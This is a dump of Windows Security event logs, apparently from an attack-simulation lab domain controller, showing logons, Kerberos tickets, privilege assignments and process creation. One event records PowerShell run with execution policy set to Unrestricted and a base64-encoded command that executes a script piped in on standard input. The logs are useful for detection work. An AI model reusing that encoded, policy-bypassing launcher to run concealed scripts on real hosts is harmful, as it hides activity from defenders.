Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13A451
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251559
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251558
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251557
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251556
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1170
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1290
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251555
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x139A5C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251554
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x139A5C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64536

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251553
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x139A5C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251552
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13999F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251551
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13999F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64535

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251550
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13999F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251549
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1398F2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251548
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1398F2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64534

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251547
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1398F2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251546
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x139846

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251545
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x139846
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64533

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251544
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x139846

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251543
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1290
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1218
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251542
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138E21

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251541
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138E21
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251540
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251539
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251538
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251537
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1218
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10c8
	Creator Process Name:	C:\Windows\System32\cmd.exe
